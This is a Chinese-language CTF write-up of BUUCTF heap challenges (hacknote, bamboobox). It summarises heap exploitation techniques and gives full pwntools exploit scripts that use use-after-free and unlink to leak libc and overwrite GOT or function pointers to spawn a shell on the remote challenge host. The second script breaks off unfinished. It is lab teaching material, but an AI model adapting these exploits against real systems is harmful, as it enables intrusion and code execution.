2021-09-20 BUUCTF WriteUP(堆/字符串/栈)

堆类

综合模型总结

该类题目目前遇到的题目整体解法:

  1. 几乎都需要制造溢出
    1. 泄露libc地址
    2. 制造任意地址写

溢出的制造方式:

  1. unlink
    1. 套路化制造fake_chunk
  2. UAF
    1. 释放函数有漏洞未清零,可泄露堆内释放后数据
  3. OffByOne
    1. 套路化制造改size位0x08偏移导致新堆堆溢出
  4. 直接溢出(明显的无修改长度检查漏洞)

其他攻击方式:

  1. 当free函数未清零时,制造单链回环结构,导致任意地址写
    1. 前提条件:任意地址写的size位置需要合法
    2. 利用版本
      1. 在低版本可制造Double Free List
      2. 高版本(2.27+)可直接制造Double Free
    3. 利用例子
      1. hook函数地址的任意改写
      2. 程序已知的合法地址任意改写

pwnable_hacknote

分析

堆题,
Pasted image 20210920113336.png

主要的漏洞/利用点:
在创建内容时,将输出函数地址写入了堆内
Pasted image 20210920113426.png

在释放堆时,没有对堆进行清零(变成了野指针)
Pasted image 20210920113509.png

整体特征分析:

  1. free后未清零(存在堆叠利用可能)
  2. 堆内内容存在功能函数地址,通过[[UAF]]去修改可间接任意地址调用

思路猜想:
考虑泄露libc地址改程序函数地址为getshell地址

动态调试笔记:
新技巧,x64可以搜索libc内的sh地址(如果one_gadget无法使用、利用system)
ROPgadget --binary libc-2.23_buuctf* --string "sh"

X86下直接压栈即可;sh;

EXP

整体思路

  1. 泄露libc
  2. 任意写函数地址导致间接getshell
#coding=utf-8
from pwn import *


context.log_level="debug"
context.arch="i386"

isLocal=0
libc=ELF("./x86/libc-2.23_buuctf.so")
filename="/root/hacknote_pwnable"
if  isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",27340)

getshell_addr=0x8048945

def create(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(content)
def free(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))


def print(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))


elf=ELF(filename)

create(1,b'aaa')
create(23,b'bbb')
#一个堆12字节 构造>=24字节的堆并释放 形成UAF
free(0)
free(1)

print_addr=0x0804862B#puts plt elf.plt["printf"]
print_got=elf.got["printf"]
#重新申请,覆盖了print的函数地址
create(8,p32(print_addr)+p32(print_got))

print(0)#间接调用print(print@got)

leak=u32(p.recv(4))
libc_base=leak-libc.sym["printf"]
log.success("leak=>{}".format(hex(leak))+",libc=>{}".format(hex(libc_base)))#泄露libc


one_gadget=libc_base+libc.sym["system"]#0x5f066
sh_addr=libc_base+0x0000e302#libc内


create(10,b'aaa11')
free(2)


create(8,p32(one_gadget)+b";sh;")#x86直接压栈

print(0)


p.interactive()







hitcontraining_bamboobox

分析

关键利用点:
在修改内容函数下,不检查长度限制(会导致堆溢出)
Pasted image 20210920114139.png

保护情况:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

特征:

  1. 堆溢出
  2. 无PIE
  3. GOT可写

本题会有一个magic后门函数,但是在BUUCTF平台不适应,故当做无后门题

利用思路:
[[unlink]]

动态调试笔记:
ptr可以往ptr-0x10的方向多试试
unlink后多试试测一测各自修改的偏移是什么,达到任意地址写的偏移,一步步来

EXP

整体思路:

  1. 制造unlink
  2. 泄露libc
  3. 任意地址写
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']#cmd : tmux
isLocal=0

filename="/root/bamboobox"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",26645)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{
   {print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size,content):
    ru("Your choice:")
    sl('2')
    ru(":")
    sl(str(size))
    ru("name of item:")
    sd(content)

def free(index):
    ru("Your choice:")
    sl('4')
    ru(":")
    sl(str(index))

def edit(index,size,content):
    ru("Your choice:")
    sl('3')
    ru("index of item:")
    sl(str(index))
    ru("length of item name:")
    sl(str(size))
    ru("the new name of the item:")
    sd(content)
def dump():
    ru("Your choice:")
    sl('1')

ptr=0x0000000006020d8## ptr+0x10
fd=ptr-0x18
bk=ptr-0x10

malloc(0x80,b"aaa\n")
malloc(0x30,b"bbb\n")
malloc(0x80,b"ccc\n")
malloc(0x80,b"ddd\n")


#1.制造unlink
fakechunk=p64(0x0)+p64(0x31)#size=0,presize=0x30
fakechunk+=p64(fd)+p64(bk)#fd,bk
fakechunk+=p64(0)+p64(0)#user data
fakechunk+=p64(0x30)+p64(0x90)#next size
edit(1,0x40,fakechunk)

free(2)#向上合并
dump()

free_got=elf.got["free"]
atoi_got=elf.got["atoi"]
magic_addr=0x000000000400D49#0x00000000004008B1#elf.got[""]



payload=p64(0)+p64(atoi_got)
edit(1,0x10,payload)#ptr-0x10



#先测各自偏移 一步步来
#offset:0 ,ptr:0x6020c8
#offset:1 ,ptr:0x6020c0

#2.泄露libc
dump()
leak=(p.recvuntil("\x7f")[-6:]).ljust(8,b"\x00")

print("leak =>"+leak)

libc_base=u64(leak)-libc.sym["atoi"]
system_addr=libc_base
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值